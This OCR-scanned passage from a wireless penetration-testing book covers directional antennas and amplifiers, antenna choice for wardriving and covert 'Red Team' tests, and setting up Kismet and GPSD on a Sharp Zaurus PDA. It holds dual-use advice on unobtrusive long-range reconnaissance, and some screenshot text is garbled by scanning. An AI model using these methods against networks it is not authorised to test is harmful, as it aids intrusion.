and has a gain of 19dBi, which is typical for this size. The beamwidth is 18 degrees.

Smaller panel antennas are called patch antennas. They usually measure less than
8 inches square. Patch antennas will have a gain of 10dBi to 13dBi.

Figure 2.11 A Panel-type Directional Antenna; Shown with a Wireless Card
for Size Comparison

Waveguide

Waveguide antennas consist of a metal tube which is closed at one end by a metal
cap, and open to allow radio waves to exit the other end. The closed end acts as a
reflector, which helps to direct the radio waves out the open end. The shape of the
tube may be round, square or rectangular, depending on what the function the
antenna is designed to perform. The open end may be covered with a cap made of
plastic or other material that is transparent to radio waves.

One variation of the standard waveguide is the slotted waveguide antenna. These
consist of an upright metal tube, with slots cut vertically in the tube. The slots emit
the RF waves.

Generally, waveguide antennas are not very popular in WiFi circles except in one
form, the can antenna or “cantenna..” In that form, they are very popular. A can-
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tenna is usually about 3 ? inches in diameter and about 12 inches in length. They are
small, lightweight and offer good gain for their size; usually about 12dBi.

Bi-Quad

Similar to the panel antenna is the Bi-Quad antenna, seen in Figure 2.12. The Bi-
Quad measures 4-7/8 inches (122mm) square, making it the same size as a Compact
Disc in a sleeve. It will easily fit in most laptop bags. It is distinguished by a bow-tie
shaped radiating element in front of the reflector. The Bi-Quad had a gain of about
11dBi to 13dB4i, and a beamwidth of about 40 to 50 degrees.

The particular bi-quad antenna pictured is available in a kit from WarDriving
World, and can be assembled with a soldering iron in about 15 minutes.

If combined with an old Primestar satellite TV dish, a Bi-Quad antenna can
deliver up to an astounding 31dBi gain and extremely narrow bandwidth of 4
degrees, at the price of having to deal with a rather large assembly. Details for how
to combine the Bi-Quad and a Primestar dish can be found at http://www.trevor-
marshall.com/biquad.htm.

Notes from the Underground...

Pringles Cantenna

No discussion about wireless networking and antennas would really be complete
without at least a passing mention of the “Pringles Can” antenna. Invented in
2001 by Rob Flickenger, he based the design on an earlier directional antenna
design which is part Yagi, and part waveguide. He simply built his version using
an empty Pringles brand potato chip container which is close to the actual size
needed for a waveguide antenna.

Rob Flickenger is no stranger to wireless networking, having authored sev-
eral excellent books, including Building Wireless Community Networks and
Wireless Hacks, both published by O’Reilly Publishing.

Flickenger created an antenna using the can and less than $10 in parts
found at the local hardware store. The Pringles “cantenna” is not actually a very
good performer when compared to similar sized antennas, and it should not be
considered part of a serious Penetration Tester's components. It certainly should
not be used to replace a proper direction antenna in your Penetration Testing kit.
However, making your own will give you a certain “wow factor” with your geek
friends, and is a fun exercise. Flickenger’s original instructions on how to make
one can be found at www.oreillynet.com/cs/weblog/view/wlg/448.
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Figure 2.12 A Pringles can and finished Pringle’s “Cantenna”

Yagi Antenna

The Yagi or bean antenna was invented in 1926 by Dr. Hidetsugu Yagi and his assis-
tant Dr. Shintaro Uta (alternately spelled “Uda”), both of Tohoku Imperial
University in Japan. A Yagi antenna consists of a central beam that holds several ele-
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ments, all resembling small individual antennas. The elements are the radiator, the
reflector, and several driven elements.

Many times Yagi antennas are contained within a radome where is it is difficult
to see the various elements.Yagi antennas designed for WiFi are usually seen as a
plastic pipe about 2 inches in diameter and between 1 to 2 feet long, jutting out
from a building or radio tower. Depending on the number of elements, Yagi
antennas in the 802.11b/g frequency range will have a gain of 10dBi to 17dbi, and a
beamwidth of 30 degrees down to less than 20 degrees.

Figure 2.14 shows a Yagi antenna in a radome. Some of the driven elements may
be seen in the clear portion of the radome.

The final type of directional antenna is the Yagi antenna, which is made to cover
a wide pie-shaped area (or sector) of a circle. The width of the sector a Yagi antenna
covers typically ranges from 60 degrees to 180 degrees. They are usually used to pro-
vide specific regional coverage for broadcast areas of Wireless Internet Service
Providers (WISP) or similar applications. Because they don’t have any application in
WarDriving or wireless penetration testing, they are mentioned here merely for
completeness.

Figure 2.14 A Yagi Directional Antenna
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Figure 2.15 The “Vagi”
2

One variation of the Yagi design is the “shotgun Yagi,” where two beams are
placed side by side for increased gain, bearing a resemblance to a double-barreled
shotgun, thus the name. A commercial version of the shotgun Yagi is the “Vagi” (see
Figure 2.15). The Vagi has a beamwidth of 18 degrees and a gain of 18dBi. The Vagi
is an attractive option for the wireless penetration tester. First, it’s relatively small, at
16 inches by 2 inches by 4 inches, yet has more than adequate gain for the size.
Second, at only 3 Ibs. it is very lightweight.

Damage & Defense...

RF Safety

When dealing with transmitting radio equipment, always remember to be safe.
The RF energy emitted from the antenna can and will energize flesh and blood in
the same way that a microwave oven will cook food. In fact, the 2.4 GHz signals
used in 802.11b/g wireless networking is the same frequency group used in most
microwave ovens. While the energy level typically used in a wireless network card
is not even one one-thousandth of the typical microwave oven, it still has poten-
tial to inflict harm. Therefore, you should exercise caution around active or “live”
transmitters.
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Several simple rules will help keep you safe around RF equipment. First,
never look into the aperture of a “cantenna,” or in line with a directional
antenna, and never point a directional antenna at yourself, another person, or an
animal. Second, shut down any transmitters before handling the metal elements
of an antenna.

Directional Signal Patterns

Directional signal patterns are seen in Figure 2.16. Unlike the circular doughnut pat-
tern of the omnidirectional antenna, the signal pattern of directional antennas is
more of a cigar shape. This is true whether the pattern is looked at from the front or
from the side. As the gain increases with directional antennas, the width of the pat-
tern (or beam) decreases.

Figure 2.16 Directional Signal Patterns

Antenna

Low-gain directional

Antenna

High-gain directional

The pattern is usually the same when
viewed from hoth the top and the sides .

Other RF Devices
RF Amplifiers

RF power amplifiers or “amps” are devices that amplity the RF signal. An amp nor-
mally requires its own power supply, and is located either between the radio and the
transmission line, or between the antenna and the transmission cable. RF amps are
also called linear amplifiers, because of the way the actual amplification of the RF
signal is accomplished.
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Locating the amplifier before the antenna, delivers the maximum amount of RF
energy out of the antenna. Amplifiers that are designed for this type of arraignment
normally come in two parts: the amplifier itself and the injector. The injector sup-
plies the power to the amplifier using the RF cable, which eliminates the need for a
separate power cable to be run in parallel to the transmission line.

As previously mentioned, an RF amp normally requires its own power supply;
therefore, if you are planning to use one, make sure you plan your power needs
accordingly. Some are designed to run on house current (120VAC) only, while
others are designed for use with 12VDC in mobile or automotive applications. Most
12VDC models run well from a 12-gel cell battery.

RF amps also have a down side. Not only do they amplify the RF signal, but
they also amplify RF noise. What that means is that for any increase in an available
signal, there will be a corresponding increase in the noise.

RF amplifiers come in two types. Bi-directional amplifiers amplify both the
transmitted signal and the received signal, and receive only amplifiers that amplify to
the received signal. Bidirectional amplifiers contain RF switches that change the state
of the amplifier between transmit and receive modes.

®  Why and when not to use an amplifier
B Legalities

®m Passive (kismet) TX amplifier is useless

Attenuators

Attenuators, also know as pads, are devices that attenuate or limit a signal. They are
constructed by connecting a small network of electronic resistors to achieve the cor-
rect signal attenuation, while maintaining the correct impedance.

Attenuators either come in fixed values such as 10 or 20dB, or they can be
adjustable. Adjustable attenuators are known as step attenuators. They have a range of
0dB to 70dB and can be adjusted up or down in small steps within that range (e.g.,
small amounts such as 1, 2, 5, or 10db). The step attenuator shown in Figure 2.17 has
a range of 0 to 120dB, and uses 10dB steps. The adjustments are made via the knob
on the right side. It should be noted that the particular model shown is for VHE a
different frequency band from WiFi devices.
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Figure 2.17 Step Attenuator

355D VHF ATTENUATOR
HEWLETT-PACKARD

0.5 WATT 500 GC-1000MH;

You may ask, “After going to all of the trouble to a get a great antenna system so
I can get a good signal, why would I intentionally limit it?” The reason is because
you will run into situations where the signal is too strong and therefore becomes
unusable. Having determined the general area that a signal is coming from, you are
unable to narrow it down further, because the signal is so strong that it seems to be
coming equally from all directions. In that case, you put an attenuator into the line,
and knock the signal down enough that you can begin to discern the point of
origin.

The attenuator is inserted in the antenna system between the radio and the
transmission cable. While it can go anywhere in the system, this is usually the most
convenient place to add or remove a pad.

Fixed attenuators look very similar to an antenna connector, although they usu-
ally have a marking indicating the level of attenuation. Adjustable attenuators are
typically a small can the size of an orange juice can or a small box. Each shape has
input and output connectors, and a dial or a series of switches that allow the oper-
ator to select the desired attenuation level.

How to Choose an Antenna
for WarDriving or Penetration Testing

Now that you are familiar with the equipment, you need to choose the antenna that
best suits your needs. The first step in choosing the right antenna is determining
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what your needs are. Those needs are dictated by what actions you want to do, and
how you are going to perform those actions (e.g., a WarDriver in a new area
requires antennas, which is different from an IT worker who is attempting to locate
any unauthorized wireless networks on a corporate local area network (LAN).

Let’s look at the following three different wireless scenarios, and see how the dif-
ferent needs dictate the use of different antennas:

m WarDrive
m  Security audit/rogue hunt and open penetration testing

B “Red team” penetration testing

WarDriving Antennas

For our first situation, we’ll assume that you are going to be WarDriving an urban
area. Your purpose is to collect the street localities of wireless networks for submis-
sion to a wireless network-locating service such as those provided by Microsoft or
Skyhook Wireless. You plan to use an active wireless tool such as NetStumbler,
which will be both transmitting to and receiving a response from the wireless net-
works in the area. Furthermore, you need fairly close locations of the wireless net-
works you’ll be collecting, but do not anticipate any need to narrow down the
location of a particular signal beyond several hundred feet.

In those circumstances, a single 5 to 7dBi omnidirectional magnetic-mount
antenna would probably be a good choice. The circular signal pattern of the omnidi-
rectional antenna will be able to receive signals from a moderate amount of wireless
access points or routers in a particular area, yet the limited gain of the antenna will
not pull signals in from too far away. Pulling in signals from too great a distance can
distort the apparent location of networks.

Alternately, you want to alter your WarDrive requirements slightly, where your
purpose is to collect shear numbers of wireless networks for submission to a wireless
network-tracking Web site such as WIGLE.net. In that case, you want the circular
pattern of an omnidirectional antenna. However, you can increase the gain of the
antenna to that of 8 to 12dBi, which increases the overall size of the antenna pat-
tern, therefore allowing you to collect signals from a much wider area. This increased
pattern area will distort where a network appears to be located, but because the
location data is not as important in this case, it is an acceptable trade off.
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Security Audit/Rogue Hunt
and Open Penetration Testing

A “rogue” wireless access point (or router) is an unauthorized access point that has
been placed on a company LAN behind a corporate firewall. These devices are usu-
ally left in their factory default state and are completely open and unsecured. Often
installed by a company employee who “just wants wireless in my oftice,” they fail to
understand that a device in that state is equivalent to running it a Category 5 UTP
Cable out the window and into the parking lot, where any passerby can use it.

As a matter of course, any company with a LAN should be running routine
checks or “rogue hunts” for unauthorized APs as part of their regular network secu-
rity audits. Often, wireless is neglected because a company does not have any autho-
rized wireless, therefore, it believes that it can safely disregard any wireless checks.
Unfortunately this attitude ignores the possibility of any rogue devices being been
installed by an unauthorized employee or attacker. A wireless search should be part
of any routine security audits.

The information technology worker that is charged with the wireless portion of
the audit needs several different types of antennas. First, a low- to moderate-gain
omnidirectional antenna in the 5 to 7dBi range is needed for checking the
perimeter of a building or campus. This check should be for rogue devices and to
see how far the wireless footprint of authorized devices can reasonably be detected
from the building or campus.

Next, a moderate gain directional antenna of about 15dBi is needed to confirm
that any detected wireless networks lay inside or outside of the audited area. If the
detected wireless networks are authorized, or if they are unauthorized but outside of
the area, then the wireless portion of the audit may be concluded. If not, then a low
gain directional antenna of 8 to 10dBi, or a moderate gain antenna combined with
attenuators is needed to track down the location of rogue APs.

This is similar to anyone conducting an open penetration test. Since the test is
being conducted with the full knowledge of the company employees, the functions
are almost identical to that of the corporate employee conducting a wireless security
audit. The worker conducting the open penetration test may want to obtain a higher
gain omnidirectional antenna to see how much further out the wireless footprint
can be detected, or to conduct any penetration test some distance from the site.

“Red Team’ Penetration Test

A Red Team (or “stealth”) penetration test is one where the employees of the target
company are unaware of who is conducting the test and even that such testing is
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in progress. The antenna needs of someone conducting a Red Team penetration
test closely resemble those of most other security auditors. They need moderate-
to high-gain omnidirectional antennas for the perimeter and footprint testing, and
moderate- to high-gain directional antennas for conducting penetration tests from
a distance.

In addition, they may need small antennas (e.g., the small “blade” omnidirec-
tional antenna seen previously in Figure 2.7), that can be hidden in a pocket and
used to give an edge in performance when operating within the target’s building or
campus.

At the other extreme is the large, very high gain grid antennas (seen in Figure
2.10). The advantage to these large antennas is the ability to conduct tests at dis-
tances that are impossible under ordinary circumstances. Oftentimes, the first impres-
sion that people have of larger antennas is that they have no use for the penetration
tester. Such antennas are designed for point-to-point communications, not mobile
use, and are too large to carry. Based on this, at first glance they seem to be too large
and unwieldy to be of any use when penetration testing. However, their increased
size means much higher gain than over a handheld antenna, which is a huge advan-
tage for the penetration tester.

One of the principles of wireless penetration testing is to assess and access the
RF profile of the target agency or company. To do this properly in a “Red Team”
setting, do it from as far away from the target company as is practical while still
maintaining reliable wireless communications. Doing so minimizes your chances of
being detected by anyone who works for the target. A large antenna like this can
make it possible for you to conduct a wireless penetration test a great distance away
from the target company, possibly up to several miles.

Turning a large antenna into a portable configuration for penetration testing
takes little more time than to clamp it to a heavy-duty camera tripod and run a
cable to the penetration testing laptop. Many of these antennas can be bought with a
tripod mount option.

Where to Purchase WiF1 Antennas

Two excellent sources for purchasing antennas, connectors, cables, and assorted parts
are FAB-Corp www.fab-corp.com and WarDrivingWorld
www.wardrivingworld.com.
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Summary

Antennas are the final link between the user and the “wireless” portion of a wireless
network. For the WarDriver penetration tester that needs to make the best connec-
tion, having the right antenna can make all the difference in performance. In this
chapter we discussed the radio theory behind antennas as well as a number of dif-
ferent antennas types, and how they are employed by both the WarDriver and the
wireless penetration tester.

Solutions Fast Track

Solutions Fast Track

Radio Theory
M The theory behind radio signals and waves is discussed.

M The relationship between frequency and wavelength is explored, and several
formulas for converting between determining frequency and wavelength
are presented.

M The various technical terminology of radios is discussed, including such as
antenna, Signal, Noise, and decibels.

Antenna Theory

M Different antenna types are discussed including omnidirectional and
Directional.

M The radiation patterns of the various type of antennas are shown, as well a
number of different models.

M Information on other RF devices such as amplifiers and attenuators is also
presented.
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Choosing the Correct Antenna
for WarDriving and Wireless Pen Testing

M Scenarios for WarDriving, Security Auditing and “Red Team” Penetration
Testing are discussed as well as the factors that influence the choice of the
appropriate antenna for each activity.

M Several sources for purchasing antennas are provided.

Frequently Asked Questions

The following Frequently Asked Questions, answered by the authors of this book,
are designed to both measure your understanding of the concepts presented in
this chapter and to assist you with real-life implementation of these concepts. To
have your questions about this chapter answered by the author, browse to
www.syngress.com/solutions and click on the “Ask the Author” form.

Q:

I have some cable TV wire left over from a TV installation in my home, and
want to use it in my wireless network antenna system as a cost savings measure.

Will it work?

Unfortunately, this frugality won'’t save you anything. Cable TV wire has an
impedance of 75 Q, whereas 802.11 radios are based on 50 Q for the antenna
system. The difference in impedance is enough to completely kill the signal from
most 802.11 radios long before it reaches the antenna. Even if you get some signal
out, it will have suffered a lot of atténuation.

: Ratio implies division, not subtraetion, so why does the formula for SNR use

subtraction to determine SNRZ?

Because decibels are expressed as logarithms, subtraction works to determine the
SNR. If you want to determine the SNR in'mWs, you /would use division.

: Where can I learn more about antennas?

: Tim Pozar, one of the founders of the Bay Area User Group, a wireless group in

San Francisco, CA, has a good WiFi “Antenna 101” primer at:
http://www.Ins.com/papers/BAWUG-antennal01/. For more advanced topics,
one of the best references is The ARRL Antenna Book (ISBN: 0-87259-904-3)

available from the American Radio Relay League at www.arrl.org.
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. Will this (insert antenna description here) work with my 802.11 network for
WarDriving or wireless penetration testing?

: In order for an antenna to work properly with a wireless network, it must be
tuned for 2.4 GHz (for 802.11b/g) or 5.4 GHz (for 802.11a). In particular, many
people ask if CB radio antennas (such as those found at RadioShack stores) will
work with 802.11 devices. The answer is no. The CB radio is tuned for use in a
completely different frequency, and is not compatible.

. Is it possible to add multiple antennas on one cable?

. Directly connecting two antennas into one cable will cause impedance problems. To
do this properly, you need a splitter/combiner designed for the correct frequency

band.

pPv27
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Introduction

Personal Digital Assistants (PDAs) have become increasingly popular in the past few
years. Because many of them have wireless capabilities, software authors are now
developing many of their WarDriving tools to support these devices. There are many
reasons for using a PDA to WarDrive (or WarWalk). They are more portable than the
average laptop computer, they can be easily concealed in a backpack or laptop case,
and they can collect data for several hours. This can be particularly beneficial during
a wireless penetration test.

WarDriving is possible using a PDA that is either Linux-based or Windows-
based. In this chapter, you will learn to set up and configure the Linux-based Sharp
Zaurus and the Windows-based Hewlett Packard iPaq for WarDriving. You’ll also
learn about connecting WarDriving peripherals (e.g., Global Positioning Systems
[GPSes]) and external antennas to these handheld devices. Finally, you’ll be intro-
duced to using a handheld device for direction finding and tracking down rogue
access points and clients.

WarDriving with a Sharp Zaurus

The Sharp Zaurus is an outstanding Linux-based PDA, which Sharp created and has
classified as a Personal Mobile Tool (not a PDA). For the purposes of this chapter, we
refer to it is as a PDA. Due to poor sales and marketshare, Sharp has stopped mar-
keting the Zaurus in the United States and has focused exclusively on the Japanese
market. On one hand, this is disappointing, because the Zaurus is a very powerful
PDA and is one of the few Linux-based PDAs available. On the other hand, Sharp
has not discontinued support for the Zaurus and updates, and software can still be
obtained from the Sharp Zaurus Web site at www.myzaurus.com/downloads.asp;
you can also pick up a Zaurus on auction sites like eBay for under $200.

The Zaurus model used for the examples in this chapter is the SL6000 (see
Figure 3.1). The SL6000 was the first Zaurus to ship with an internal wireless card.
The built-in wireless card is a Prism2 chipset-based card and the Wireless Local Area
Network (WLAN)-NG drivers are included with the Sharp Read-Only Memory
(ROM). Earlier models such as the SL5500 and SL5600 required the use of
Compact Flash (CF) wireless card. Although an SL6000 is used in this chapter, the
examples shown and the configurations used will also work with an SL5500 or
SL5600.
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NoTEe

Many of the tasks in this chapter require the Terminal application, which
is not included on the Sharp ROM; however, it can be downloaded from
the Sharp Web site (www.sharpusa.com/products/TypeSoftware/
0,1086,112,00.html).

Figure 3.1 The Sharp Zaurus SL6000
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Installing and Configuring Kismet

The Zaurus utilizes an ARM-based processor and Kismet has been ported for the
ARM processor; the latest version is available at www.kismetwireless.net/
code/kismet-2006-04-R 1-arm.tar.gz. Once you have downloaded this file, unpack it
and move the install package (.ipk) file (kismet_2005.07.R1.arm.ipk at the time of
this writing) to your Zaurus. There are several ways to move this file. If you have a
Windows-based system, you can use the software that ships with the Zaurus. (It
should be noted that although the Zaurus is Linux-based and was marketed to Linux
enthusiasts, no Personal Information Manager (PIM) software was released for Linux
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by Sharp. An odd oversight.) Alternately, you can put the .ipk file on a CF or SD
card and place the card in one of the Zaurus’s expansion slots and copy it to the
system. Finally, Secure Shell (SSH) and Secured File Transfer Protocol (SFTP) clients
are available for the Zaurus (www.killefiz.de/zaurus/showdetail.php?app=1035),
which you can use to connect the Zaurus wirelessly to your network.

Notes from the Underground...

Choosing a ROM Image

The examples in this chapter use the Sharp ROM image that the Zaurus ships
with. This is a fully functional Qtopia based ROM. Some Zaurus users have
expressed a preference for the open source OpenZaurus ROM
(www.openzaurus.org), a Debian-based embedded Linux ROM. This is largely a
matter of personal preference; however, one distinct advantage of the
OpenZaurus ROM is wireless access point (WAP) support, which is not included
with the Sharp ROM. On the other hand, one nice feature of the Sharp ROM is
that inserting a CF wireless card based on the Prism2 chipset will disable the
internal card and use the CF card without any user interaction required.

Once you have the install package on the Zaurus, you can use the Add/Remove
software application to install the package (see Figure 3.2).

Figure 3.2 Add/Remove Software Application
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The Add/Remove Software application searches for any install packages on the
system and presents a list of packages available for installation (see Figure 3.3).

Figure 3.3 Kismet Package is Located

I Install |

@E -9 QRO IR 216

Highlight the selected package (in this case Kismet) and click Install to install
the Kismet package on your Zaurus.

Once you have installed the Kismet package, you need to edit the kismet.conf file
that is located in /usr/local/etc.

First, you need to set the Set User ID (SUID) user. Because of the filesystem
permissions on the Zaurus, it is generally easiest to set this to root:

# suiduser=root

This requires you to su to root before running Kismet. If you have set a passcode
on the Zaurus, this number is the root password. If you have not set a passcode, you
will not need to enter a root password.

Next, select your capture source. The source must be set to
prism2.wlan0,prism2source in order to function correctly with the built-in drivers (see
Figure 3.4).
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Figure 3.4 Setting the Capture Source

Is -

Fort ] oy =0 {1 {0 [

wspli0 = WSP100 embedded remote sensor,

wtapfile - Saved file of packets readable by libwiretap
poapfile - Saved file of packets readable by libpcap
arSk - arBk 802,11a using the vt_arSk drivers

drone - Kismet remote drone

viha - Mac 05X Airport drivers

Capture interface - Specifies the network interface Kismet will watch for
packets to come in on, Typically "eth¥" or "wlank", For the WSPL0O capture
engine, the W5P100 device sends packets via a UDP stream, so the capture
interface should be in the form of hostiport where 'host' iz the WSPLOO and
'part' is the local UDP port that it will send data to.

Kigmet remote drones function similarly and the interface should be the
hostiport of the drone,

C¥S Cisco drivers split the interface into 2 components, eth¥ and wifiX,
They may not be the same, so for cisco_cvs the card tupe specifies
ethiiwif iy

Capture Mame = The name Kismet uzes for this capture source, This iz th
name uzed to specify what sources to enable,

To enable multiple sources, specify a source line for each and then use the
ehablesources line to enable them, For example:

source=prisn2,wland  prism

source=cizco,ethl, cisco

source=cisco_cvs,ethliwifi0, ciscocus
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sourcescisco,ethl, ciscosourc

T

riznZ_aws,wland, newprismZsource
#zource=arinoco, ethl), arinocosource

# Comma—zeparated list of sources to enable, This is only needed if you wish
# to selectively enable multiple sources,

# For example;

# enablezources=prismsource,ciscozource

# Do we channelhop?
chanhelhop=true

E| €D k=1 B | 2:30 AM

If you don’t intend to use a GPS with your Zaurus, you are finished editing this
file.

NoTEe

The kismet.conf file has many different options and settings to allow you
to configure Kismet to your specifications and needs. Although it is
beyond the scope of this chapter to explore these options, they are pre-
sented in detail in Chapter 5, “Performing Penetration Testing on
Wireless Networks Using Linux.”
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Configuring the Wireless
Card to Work with Kismet

Before you can start Kismet you need to configure the wireless card to work with
Kismet and then enable the card. This is accomplished through the Zaurus network

settings. First, go to the network settings and select Wireless LAN from the drop-
down menu (see Figure 3.5).

Figure 3.5 Select the Wireless LAN Settings for Editing

Edit _

Services } Current ]

To auto—connect: Check "Auto”
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% Wircless LAN Info
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ﬁ Dial-up ANY

€ List

D Auto-connect
Show confirmation screen

[ wizara || Add || Edit H Delete |

@Iﬁ ~D QD IR 325aM

On the Account tab, enter Kismet (or anything you want) in the Network text
box. Then select the Config tab. Enter ANY in the Extended Service Set Identifier
(ESS-ID) field and select 802.11 Ad-Hoc for the Network Type (see Figure 3.6). The
Channel setting doesn’t matter for our purposes, because Kismet will take control of
the channels when it begins channel hopping.

Next, select the Transmission Control Protocol/Internet Protocol (TCP/IP) tab
and enter 10.1.1.1 in the IP Address field, 255.0.0.0 in the Subnet Mask Field, and
10.1.1.1 in the Gateway field (see Figure 3.7)
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Figure 3.6 The Config Settings

Accont  Config | WEP  TCPIP | DNi«|»
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Figure 3.7 The TCP/IP Settings
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Account  Config | WEP  TCPAP  DNi(|»

[ |/Obtain TCPAP Information Automatically
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Once you have completed the TCP/IP settings, click OK.You will receive a
warning about being unable to auto connect when using Ad-Hoc mode. This is an
inconsequential warning for your purposes, so click OK and return to the
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Applications view on the Zaurus. Click on the network icon in the bottom toolbar
(the globe with the “X” over it) and select the Kismet service and click connect
(see Figure 3.8).

Figure 3.8 Selecting the Kismet Service
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Figure 3.9 The Card is Enabled
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Once the wireless card has successfully started, the “X” over the globe icon will
disappear and you will see a status box letting you know that you are connected
(Figure 3.9) Don'’t confuse this for an actual connection to a network. You have
merely enabled the card.

Starting Kismet on the Zaurus

Once you have enabled the wireless card, starting Kismet is simple. First, start the
Terminal application. Change to the root user with the su command. If you used the
install package, Kismet will be located in /usr/local/bin/kismet, which is in your
$PATH as root; type kismet at the prompt to start Kismet. This starts the kismet_server
in the background and then starts the kismet client, which connects to the server
(see Figure 3.10).

Figure 3.10 The Kismet Client Attempts to Connect to the Kismet Server
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If the client successtully connects to the server, the Kismet panel opens and any
discovered networks appear (see Figure 3.11).

Figure 3.11 Kismet Running on the Zaurus
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At this point, you can use Kismet the same as on any Linux system.You can lock
to a channel with the <shift> L, you can change sort modes with s, and so on. (For a
more extensive listing of the Kismet panel options and commands, refer to Chapter

5 of this book.)

Using a GPS with the Zaurus

Just like with any WarDrive, you will probably want to use a GPS with your Zaurus
so that you can get coordinates and make maps of your drives. Although there are
GPSD install packages available for the Zaurus, most of them have proven to be
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unreliable. This does not mean that you can’t use a GPS. Remember, this is a Linux
system so you can build GPSD on your Linux box and then copy the GPSD binary
to /usr/local/bin on your Zaurus.

Before you can use a GPS, you need to edit the kismet.conf file to include GPS
support. Change the GPS option to true and the gpshost option to localhost:2947 (see
Figure 3.12).

Figure 3.12 Setting the GPS Options in kismet.conf
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Once you have GPSD’d on your Zaurus, you are ready to figure out how to
connect your GPS to your PDA. Most GPS units come with either a serial cable or
a USB cable. There is not a standard serial or USB port on the Zaurus. Luckily, the
folks at SeriallO (www.serialio.com) have a couple of solutions available to ease this
process.
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One product is the ZThinCable RS-232 for the Zaurus
(www.serialio.com/products/adaptors/ZThinCable.php). This cable has a connector
for the Zaurus and a connector for your GPS unit’s serial cable. Additionally, if you
have a USB cable for your GPS, the ZThinCable will work with your USB to serial

adaptor cable as well.
In addition to the ZThinCable, SeriallO also offers a GPS unit that is made

specifically for the Zaurus (see Figure 3.13).

Figure 3.13 The SeriallO Zaurus GPS Unit

Starting GPSD

Whether you use an all purpose GPS unit with an adapter cable or a GPS unit
specifically designed for the Zaurus, the process of starting GPSD is the same. Make
sure to connect your GPS unit to the Zaurus before powering it on. After powering
the Zaurus on, start the Terminal application and su to the root user. At the prompt
start GPSD:

# gpsd -p ttySoO

Next, start Kismet as you normally would and the discovered networks will be

logged to the .gps file.
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Using a Graphical Front End with Kismet

Although there are a lot of advantages to using Kismet on a handheld device, one of
the drawbacks is the small, difficult-to-read text on the display. One way to over-
come this is to use a graphical front-end program to connect to the Kismet Server.

Kismet Qt/e is a Qtopia front end for Kismet and is available from
www.killefiz.de/zaurus/showdetail.php?app226. Download and install the install
package as you would any program on the Zaurus. Once you have Kismet Qt/e
installed, you need to start Kismet. Kismet Qt/e is a client only, and will not start the
Kismet server on its own.You can do this in two ways. The first is the normal startup
method detailed earlier in this chapter. That method starts both the Kismet server
and the client. If you are using Kismet Qt/e you don’t need to start the regular
Kismet client, although it won’t hurt anything.

You only need to start the Kismet server (kismet_server) from the command line.
Then return to the Applications view and click the Kismet icon. This brings up the
Kismet Qt/e Config options. Select your appropriate ROM image (see Figure 3.14)
and click Restart. Clicking restart connects the Qt/e client to the Kismet server.

Figure 3.14 The Kismet Qt/e Config Options
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Next, click on the Results tab and you will see the networks as they are detected
(see Figure 3.15).
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Figure 3.15 Kismet Qt/e Displays the Results

Kismet— %
Results ]Stats ]Strings ]D:-nﬁg ]

Mame | Data |
Bl 05403727 164 AP

Bl 24 15hase AP WEP

-- <ho $8idl = AP WER

- Crawfett Home AP WEP

El-Dan AP

--Familg.r Apple Network AP

"JSMHEIME AFWEFP
--default AP
B fred AP WEP
- linkays AP
[ Copy | [ Clear |
@l==4.0 ESUEIR E 456 AM

This display is much easier to read than the command-line display. Furthermore,
it is easy to get information about specific networks by clicking the + by a network,
which expands the information tree. This displays all of the information that Kismet
has collected on the specified network (see Figure 3.16).

Figure 3.16 The Expanded Network View
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If you want additional information, you can click on the Stats tab to get a
listing of the total number of networks that have been discovered, the number of
packets that have been captured, how many of those were encrypted, and how many
were interesting (weak IVs). Additionally, you can see information on the noise level,
how many packets were dropped, and the rate that packets are being collected per
second. Figure 3.17 shows the information on the Stats tab.

Figure 3.17 The Stats Tab
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Using an External WiFi Card with a Zaurus

All of the Zaurus models are equipped with a CF expansion slot. This can be used
for additional storage space or for an external network or WiFi card (see Figure
3.18). The SL6000 with the built-in wireless card and the Sharp ROM, includes the
WLAN-NG drivers that support Prism2-based cards. A nice feature of the Sharp
ROM is that if a CF WiFi card is inserted, the internal card is disabled and the CF
card does not require any additional configuration to function correctly.
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Figure 3.18 A Prism2-based CF WiFi Card

One of the drawbacks of CF WiFi cards is the general lack of cards with an

external antenna connector. There is, however, one card with an external connector:

the Symbol LA4137. Sharp provides Zaurus drivers for this card on their Web site
(www.myzaurus.com/downloads.asp). These drivers are for the SL5500; however,
they also work with the SL5600 and SL6000. Once you have installed the driver,
you can insert the card into the CF slot and start Kismet as normal. An external
antenna can be very beneficial with the Zaurus, particularly for direction finding
(discussed later in this chapter).

WarDriving with MiniStumbler

MiniStumbler is the Windows CE version of the popular Windows wireless tool,
NetStumbler. Where NetStumbler needs a full-fledged Windows PC or laptop to
run, MiniStumbler only requires a handheld Windows computer such as an iPAQ
PocketPC. MiniStumbler v.0.4.0 was released in 2004 and runs on HPC2000,
PocketPC 3.0, PocketPC 2002, and Windows Mobile 2003.
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To run MiniStumbler, you must have a handheld or mobile device running one
of the Windows CE variants. If a PC Card or Personal Computer Memory Card
International Association (PCMCIA) wireless card is used with a handheld device, an
expansion pack or other device capable of attaching the card to the mobile device is
required.

Unlike Kismet, which passively receives wireless traftic, MiniStumbler is an active
wireless network detection application that sends out a wireless data probe called a
Probe Request. The Probe Request frame and the associated Probe Response frame
are both part of the 802.11 standard, and can be detected by wireless Intrusion
Detections Systems (IDS). Due to this manner of operation, MiniStumbler does not
detect wireless networks that have the “Broadcast SSID” or “Broadcast Network
Name” disabled.

Wireless Ethernet Cards
that Work with MiniStumbler

To use MiniStumbler, you need a wireless Ethernet card. There are a wide variety of
models available, therefore, the question becomes, which ones work with
MiniStumbler? Generally, the best cards are those that use the Hermes chipset (e.g.,
the ORINOCO Gold Classic or Silver Classic cards or “re-badged” versions of those
cards). While both of theses cards use 802.11b, they also detect 802.11g wireless net-
works. “Re-badges” are made by manufacturers such as ORiINOCO, but sold
under another brand name such as Dell. The marking decals or “badge” is changed
to reflect the new brand, hence the term “re-badge.” Table 3.1 contains a list of
Hermes cards. Most of these are re-badged ORiINOCO brand cards.

Table 3.1 Common Hermes Chipset Cards

Lucent Technologies WaveLAN/Institute of Electrical & Electronics Engineers
(IEEE) (Agere ORINOCO)

Dell TrueMobile 1150 Series (PCMCIA and mini-PCl)

Avaya Wireless PC Card

Toshiba Wireless Local Area Network (LAN) Card (PCMCIA and built-in)
Compaq WL110

Cabletron/Enterasys Roamabout

Elsa Airlancer MC-11

ARtem ComCard 11 Mbps

Continued
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Table 3.1 continued Common Hermes Chipset Cards

IBM High Rate Wireless LAN PC Card

1stWave 1ST-PC-DSS11IS, DSS111G, DSST1ES, DSST11EG

Most cards that are based on the Intersil Prism/Prism?2 chipset (e.g., Senao 2511)
also work. For further information, see the README file at www.stumbler.net/
readme/readme_Mini_0_4_0.html.

MiniStumbler Installation

